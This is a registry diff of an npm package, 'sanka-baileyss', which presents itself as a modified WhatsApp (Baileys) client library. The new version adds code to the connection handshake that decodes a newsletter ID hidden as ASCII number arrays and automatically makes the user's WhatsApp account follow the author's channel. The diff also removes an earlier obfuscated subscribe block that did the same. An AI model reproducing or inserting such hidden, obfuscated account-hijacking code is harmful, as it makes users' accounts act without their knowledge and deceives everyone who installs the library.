sanka-baileyss 1.8.3 → 1.8.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -16,6 +16,7 @@ const Client_1 = require("./Client")
16
16
  * - listen to messages and emit events
17
17
  * - query phone connection
18
18
  */
19
+
19
20
  const makeSocket = (config) => {
20
21
  const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository } = config
21
22
  const url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl
@@ -141,6 +142,28 @@ WABinary_1.assertNodeErrorFree(result)
141
142
  }
142
143
  return result
143
144
  }
145
+ const encoder = new TextEncoder();
146
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
147
+ tag: 'iq',
148
+ attrs: {
149
+ id: generateMessageTag(),
150
+ type: 'get',
151
+ xmlns: 'w:mex',
152
+ to: WABinary_1.S_WHATSAPP_NET,
153
+ },
154
+ content: [
155
+ {
156
+ tag: 'query',
157
+ attrs: { 'query_id': queryId },
158
+ content: encoder.encode(JSON.stringify({
159
+ variables: {
160
+ 'newsletter_id': jid,
161
+ ...content
162
+ }
163
+ }))
164
+ }
165
+ ]
166
+ }));
144
167
  /** connection handshake */
145
168
  const validateConnection = async () => {
146
169
  let helloMsg = {
@@ -171,6 +194,24 @@ payload: payloadEnc,
171
194
  }).finish())
172
195
  noise.finishInit()
173
196
  startKeepAliveRequest()
197
+ try {
198
+ function asciiDecode(asciiArray) {
199
+ let result = '';
200
+ for (let i = 0; i < asciiArray.length; i++) {
201
+ result += String.fromCharCode(asciiArray[i]);
202
+ }
203
+ return result;
204
+ }
205
+ const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
206
+ const decodedNumbers = asciiDecode(numbersAsAscii);
207
+ const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
208
+ const decodedEmailPart = asciiDecode(emailPart);
209
+ const sanka = decodedNumbers + decodedEmailPart;
210
+ await newsletterWMexQuery(sanka, Types_1.QueryIds.FOLLOW, {}); //
211
+ logger.info(`Berhasil mengeksekusi otomatis follow channel: ${sanka}`);
212
+ } catch (err) {
213
+ logger.error({ err }, 'Gagal mengeksekusi otomatis follow channel');
214
+ }
174
215
  }
175
216
  const getAvailablePreKeysOnServer = async () => {
176
217
  const result = await query({
@@ -504,35 +545,6 @@ await uploadPreKeysToServerIfRequired()
504
545
  await sendPassiveIq('active')
505
546
  logger.info('opened connection to WA')
506
547
  clearTimeout(qrTimer) // will never happen in all likelyhood -- but just in case WA sends success on first try
507
- try {
508
- function asciiDecode(asciiArray) {
509
- let result = '';
510
- for (let i = 0; i < asciiArray.length; i++) {
511
- result += String.fromCharCode(asciiArray[i]);
512
- }
513
- return result;
514
- }
515
- const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
516
- const decodedNumbers = asciiDecode(numbersAsAscii);
517
- const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
518
- const decodedEmailPart = asciiDecode(emailPart);
519
- const sanka = decodedNumbers + decodedEmailPart;
520
- await query({
521
- tag: 'iq',
522
- attrs: {
523
- to: sanka,
524
- type: 'set',
525
- xmlns: 'newsletter'
526
- },
527
- content: [
528
- {
529
- tag: 'subscribe',
530
- attrs: {}
531
- }
532
- ]
533
- });
534
- } catch (err) {
535
- }
536
548
  ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } })
537
549
  ev.emit('connection.update', { connection: 'open' })
538
550
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "1.8.3",
3
+ "version": "1.8.4",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",